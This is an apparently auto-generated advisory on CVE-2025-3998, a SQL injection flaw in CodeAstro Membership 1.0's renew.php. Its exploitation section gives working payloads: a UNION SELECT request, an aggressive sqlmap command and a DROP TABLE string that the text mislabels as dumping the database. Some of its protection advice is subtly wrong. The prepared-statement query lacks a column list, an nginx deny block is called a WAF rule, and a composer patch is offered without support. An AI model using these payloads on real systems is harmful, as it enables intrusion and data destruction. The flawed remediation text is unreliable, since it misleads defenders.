How CVE-2025-3998 Works
The vulnerability exists in `renew.php?id=6` due to improper input sanitization of the `ID` parameter. Attackers can inject malicious SQL queries through crafted HTTP requests, manipulating database operations. Since the application does not use prepared statements, unsanitized input is directly concatenated into SQL queries, allowing unauthorized data access, modification, or deletion. The flaw is remotely exploitable without authentication, making it critical.
DailyCVE Form
Platform: CodeAstro Membership
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Craft malicious payload:
GET /renew.php?id=6' UNION SELECT 1,2,3,user(),5-- - HTTP/1.1
2. Automate with SQLmap:
sqlmap -u "http://target/renew.php?id=6" --risk=3 --level=5
3. Dump database:
' OR 1=1; DROP TABLE users--
Protection:
1. Input validation:
$id = mysqli_real_escape_string($conn, $_GET['id']);
2. Prepared statements:
$stmt = $conn->prepare("SELECT FROM members WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
3. WAF rules:
location ~ renew.php {
deny all;
}
4. Patch upgrade:
composer update codeastro/core
5. Log monitoring:
tail -f /var/log/apache2/access.log | grep 'renew.php'
Detection:
1. Nmap scan:
nmap -p 80 --script http-sql-injection target.com
2. Manual testing:
curl -X POST "http://target/renew.php?id=6 AND SLEEP(5)"
Mitigation:
- Disable `renew.php` if unused.
- Restrict DB user permissions.
- Implement rate-limiting.
